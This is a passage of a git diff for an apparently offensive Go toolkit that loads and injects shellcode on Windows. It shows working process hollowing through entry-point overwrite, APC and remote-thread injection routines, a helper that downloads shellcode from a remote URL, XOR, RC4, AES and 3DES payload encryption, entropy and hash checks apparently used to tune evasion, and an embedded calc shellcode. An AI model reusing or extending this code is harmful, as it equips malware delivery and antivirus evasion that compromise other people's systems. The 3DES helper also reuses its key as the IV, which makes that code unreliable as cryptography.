uintptr(0x100000000000|0x1000000000) + + r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0) + if r == 0 { + return err + } + } + + cmd := append([]byte(proc), byte(0)) + + si.Cb = uint32(unsafe.Sizeof(si)) + + r, _, err := CreateProcessA.Call(0, uintptr(unsafe.Pointer(&cmd[0])), 0, 0, 1, windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_SUSPENDED, 0, 0, uintptr(unsafe.Pointer(&si)), uintptr(unsafe.Pointer(&pi))) + if r == 0 { + return err + } + + var returnLength int32 + pointerSize := unsafe.Sizeof(uintptr(0)) + + ZwQueryInformationProcess.Call(uintptr(pi.Process), 0, uintptr(unsafe.Pointer(&pbi)), pointerSize*6, uintptr(unsafe.Pointer(&returnLength))) + + imageBaseAddress := pbi.PebBaseAddress + 0x10 + addressBuffer := make([]byte, pointerSize) + + var read uintptr + ReadProcessMemory.Call(uintptr(pi.Process), imageBaseAddress, uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read))) + + imageBaseValue := binary.LittleEndian.Uint64(addressBuffer) + addressBuffer = make([]byte, 0x200) + + ReadProcessMemory.Call(uintptr(pi.Process), uintptr(imageBaseValue), uintptr(unsafe.Pointer(&addressBuffer[0])), uintptr(len(addressBuffer)), uintptr(unsafe.Pointer(&read))) + + lfaNewPos := addressBuffer[0x3c : 0x3c+0x4] + lfanew := binary.LittleEndian.Uint32(lfaNewPos) + entrypointOffset := lfanew + 0x28 + entrypointOffsetPos := addressBuffer[entrypointOffset : entrypointOffset+0x4] + entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos) + entrypointAddress := imageBaseValue + uint64(entrypointRVA) + + WriteProcessMemory.Call(uintptr(pi.Process), uintptr(entrypointAddress), uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0) + + ResumeThread.Call(uintptr(pi.Thread)) + + return nil +} + + diff --git a/core/queueuserapc.go b/shellcode/queueuserapc.go similarity index 94% rename from core/queueuserapc.go rename to shellcode/queueuserapc.go index e0dff1c..00a2c8b 100644 --- a/core/queueuserapc.go +++ b/shellcode/queueuserapc.go @@ -1,9 +1,8 @@ -package core +package shellcode import ( "errors" "fmt" - "syscall" "unsafe" "golang.org/x/sys/windows" @@ -23,8 +22,8 @@ func QueueUserApc(shellcode []byte) error { } errCreateProcess := windows.CreateProcess( - syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), - syscall.StringToUTF16Ptr(""), + windows.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), + windows.StringToUTF16Ptr(""), nil, nil, true, diff --git a/core/rtlcreateuserthread.go b/shellcode/rtlcreateuserthread.go similarity index 98% rename from core/rtlcreateuserthread.go rename to shellcode/rtlcreateuserthread.go index 5147fcc..5b8aacd 100644 --- a/core/rtlcreateuserthread.go +++ b/shellcode/rtlcreateuserthread.go @@ -1,4 +1,4 @@ -package core +package shellcode import ( "unsafe" diff --git a/core/uuidfromstring.go b/shellcode/uuidfromstring.go similarity index 99% rename from core/uuidfromstring.go rename to shellcode/uuidfromstring.go index 06a779a..fb75c86 100644 --- a/core/uuidfromstring.go +++ b/shellcode/uuidfromstring.go @@ -1,4 +1,4 @@ -package core +package shellcode import ( "bytes" diff --git a/utils/3des.go b/utils/3des.go new file mode 100644 index 0000000..f6c6b6c --- /dev/null +++ b/utils/3des.go @@ -0,0 +1,44 @@ +package utils + +import ( + "crypto/cipher" + "crypto/des" +) + +func TripleDesEncrypt(data, key []byte) ([]byte, error) { + block, err := des.NewTripleDESCipher(key) + if err != nil { + return nil, err + } + + ciphertext := key + iv := ciphertext[:des.BlockSize] + + origData := PKCS5Padding(data, block.BlockSize()) + + mode := cipher.NewCBCEncrypter(block, iv) + + encrypted := make([]byte, len(origData)) + + mode.CryptBlocks(encrypted, origData) + + return encrypted, nil +} + +func TripleDesDecrypt(data, key []byte) ([]byte, error) { + block, err := des.NewTripleDESCipher(key) + if err != nil { + return nil, err + } + + ciphertext := key + iv := ciphertext[:des.BlockSize] + + decrypter := cipher.NewCBCDecrypter(block, iv) + + decrypted := make([]byte, len(data)) + decrypter.CryptBlocks(decrypted, data) + decrypted = PKCS5Trimming(decrypted) + + return decrypted, nil +} diff --git a/utils/aes.go b/utils/aes.go new file mode 100644 index 0000000..eaf836a --- /dev/null +++ b/utils/aes.go @@ -0,0 +1,67 @@ +package utils + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "errors" + "bytes" +) + +func AESEncrypt(plaintext []byte, iv []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + if string(plaintext) == "" { + return nil, errors.New("string to encrypt is empty") + } + + ecb := cipher.NewCBCEncrypter(block, iv) + content := []byte(plaintext) + content = PKCS5Padding(content, block.BlockSize()) + crypted := make([]byte, len(content)) + ecb.CryptBlocks(crypted, content) + + return crypted, nil +} + +func AESDecrypt(ciphertext []byte, iv []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + if len(ciphertext) == 0 { + return nil, errors.New("ciphertext cannot be empty") + } + + ecb := cipher.NewCBCDecrypter(block, iv) + decrypted := make([]byte, len(ciphertext)) + ecb.CryptBlocks(decrypted, ciphertext) + + return PKCS5Trimming(decrypted), nil +} + +func GenerateIV() ([]byte, error) { + iv := make([]byte, aes.BlockSize) + _, err := rand.Read(iv) + if err != nil { + return nil, err + } + + return iv, nil +} + +func PKCS5Trimming(encrypt []byte) []byte { + padding := encrypt[len(encrypt)-1] + return encrypt[:len(encrypt)-int(padding)] +} + +func PKCS5Padding(ciphertext []byte, blockSize int) []byte { + padding := blockSize - len(ciphertext)%blockSize + padtext := bytes.Repeat([]byte{byte(padding)}, padding) + return append(ciphertext, padtext...) +} + diff --git a/utils/data.go b/utils/data.go new file mode 100644 index 0000000..960f9ba --- /dev/null +++ b/utils/data.go @@ -0,0 +1,24 @@ +package utils + +import ( + "slices" +) + +func AppendString(slice []string, str string) []string { + if (!slices.Contains(slice, str)) { + slice = append(slice, str) + } + + return slice +} + +func AppendSlice(slice, slice2 []string) []string { + for _, entry := range slice2 { + if (!slices.Contains(slice, entry)) { + slice = append(slice, entry) + } + } + + return slice +} + diff --git a/core/dll.go b/utils/dll.go similarity index 99% rename from core/dll.go rename to utils/dll.go index e8977f3..d99d775 100644 --- a/core/dll.go +++ b/utils/dll.go @@ -1,13 +1,4 @@ -package core - -/* - -References: - -All this functions are taken and lightly modified from the original gist, thanks to him -https://gist.github.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3 - -*/ +package utils import ( "encoding/binary" diff --git a/utils/hashes.go b/utils/hashes.go new file mode 100644 index 0000000..1365de1 --- /dev/null +++ b/utils/hashes.go @@ -0,0 +1,24 @@ +package utils + +import ( + "crypto/md5" + "crypto/sha1" + "crypto/sha256" + "encoding/hex" +) + +func Md5(src string) string { + hash := md5.Sum([]byte(src)) + return hex.EncodeToString(hash[:]) +} + +func Sha1(src string) string { + hash := sha1.Sum([]byte(src)) + return hex.EncodeToString(hash[:]) +} + +func Sha256(src string) string { + hash := sha256.Sum256([]byte(src)) + return hex.EncodeToString(hash[:]) +} + diff --git a/utils/pe_info.go b/utils/pe_info.go new file mode 100644 index 0000000..71638b7 --- /dev/null +++ b/utils/pe_info.go @@ -0,0 +1,87 @@ +package utils + +import ( + "os" + "log" + "math" + "io" + "fmt" + "crypto/md5" + "crypto/sha1" + "crypto/sha256" + "io/ioutil" +) + +func Entropy(file string) (float64, error) { + f, err := os.Open(file) + if err != nil { + return 0, err + } + defer f.Close() + + contents, err := ioutil.ReadAll(f) + if err != nil { + return 0, err + } + + freq := make(map[byte]int) + for _, b := range contents { + freq[b]++ + } + + totalBytes := len(contents) + probs := make(map[byte]float64) + for b, f := range freq { + probs[b] = float64(f) / float64(totalBytes) + } + + entropy := 0.0 + for _, p := range probs { + if p > 0 { + entropy -= p * math.Log2(p) + } + } + + return entropy, nil +} + +func CalculateSums(output_file string) (string, string, string, error) { + f1, err := os.Open(output_file) + if err != nil { + return "", "", "", err + } + defer f1.Close() + + md5hash := md5.New() + _, err = io.Copy(md5hash, f1) + if err != nil { + return "", "", "", err + } + + f2, err := os.Open(output_file) + if err != nil { + return "", "", "", err + } + defer f2.Close() + + sha256hash := sha256.New() + _, err = io.Copy(sha256hash, f2) + if err != nil { + return "", "", "", err + } + + f3, err := os.Open(output_file) + if err != nil { + return "", "", "", err + } + defer f3.Close() + + sha1hash := sha1.New() + _, err = io.Copy(sha1hash, f3) + if err != nil { + log.Fatal(err) + } + + return fmt.Sprintf("%x", md5hash.Sum(nil)), fmt.Sprintf("%x", sha1hash.Sum(nil)), fmt.Sprintf("%x", sha256hash.Sum(nil)), nil +} + diff --git a/utils/privs_windows.go b/utils/privs_windows.go new file mode 100644 index 0000000..c157540 --- /dev/null +++ b/utils/privs_windows.go @@ -0,0 +1,28 @@ +package utils + +import ( + "golang.org/x/sys/windows" +) + +func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges + var sid *windows.SID + err := windows.AllocateAndInitializeSid( + &windows.SECURITY_NT_AUTHORITY, + 2, + windows.SECURITY_BUILTIN_DOMAIN_RID, + windows.DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, + &sid, + ) + if err != nil { + return false, err + } + + token := windows.Token(0) + member, err := token.IsMember(sid) // Check if is inside admin group + if err != nil { + return false, err + } + + return member, nil // return true (means high privs) or false (means low privs) +} diff --git a/utils/rand.go b/utils/rand.go new file mode 100644 index 0000000..2fc5332 --- /dev/null +++ b/utils/rand.go @@ -0,0 +1,33 @@ +package utils + +import ( + "math/rand" + "time" +) + +// Generate a random integer between range +func RandomInt(min int, max int) int { + rand.Seed(time.Now().UnixNano()) + rand_int := rand.Intn(max-min+1) + min + return rand_int +} + +// Return random string based on an integer (length) +func RandomString(length int) string { + const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" + + var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano())) + + b := make([]byte, length) + for i := range b { + b[i] = charset[seededRand.Intn(len(charset))] + } + + // Ensure the first character is not an integer + for b[0] >= '0' && b[0] <= '9' { + b[0] = charset[seededRand.Intn(len(charset))] + } + + return string(b) +} + diff --git a/utils/rc4.go b/utils/rc4.go new file mode 100644 index 0000000..82e5a13 --- /dev/null +++ b/utils/rc4.go @@ -0,0 +1,27 @@ +package utils + +import ( + "crypto/rc4" +) + +func Rc4Encrypt(plaintext []byte, psk []byte) ([]byte, error) { + r, err := rc4.NewCipher(psk) + if err != nil { + return nil, err + } + + dst := make([]byte, len(plaintext)) + r.XORKeyStream(dst, plaintext) + return dst, nil +} + +func Rc4Decrypt(ciphertext []byte, psk []byte) ([]byte, error) { + r, err := rc4.NewCipher(psk) + if err != nil { + return nil, err + } + src := make([]byte, len(ciphertext)) + r.XORKeyStream(src, []byte(ciphertext)) + return src, nil +} + diff --git a/utils/shellcode.go b/utils/shellcode.go new file mode 100644 index 0000000..22377ea --- /dev/null +++ b/utils/shellcode.go @@ -0,0 +1,50 @@ +package utils + +import ( + "net/http" + "io" + "io/ioutil" + "os" +) + +func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode + req, err := http.NewRequest("GET", sc_url, nil) + if err != nil { + return nil, err + } + + req.Header.Set("Accept", "application/x-www-form-urlencoded") + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36") + client := &http.Client{} + resp, err := client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + b, err := io.ReadAll(resp.Body) + if err != nil { + return nil, err + } + return b, nil +} + +func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes + f, err := os.Open(file) + if err != nil { + return nil, err + } + defer f.Close() + + shellcode_bytes, err := ioutil.ReadAll(f) + if err != nil { + return nil, err + } + + return shellcode_bytes, nil +} + +func CalcShellcode() []byte { + return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3} +} + diff --git a/utils/xor.go b/utils/xor.go new file mode 100644 index 0000000..baa13ba --- /dev/null +++ b/utils/xor.go @@ -0,0 +1,10 @@ +package utils + +func Xor(input, key []byte) (cipher []byte) { + for i := 0; i < len(input); i++ { + cipher = append(cipher, (input[i] ^ key[i % len(key)])) + } + + return cipher +} +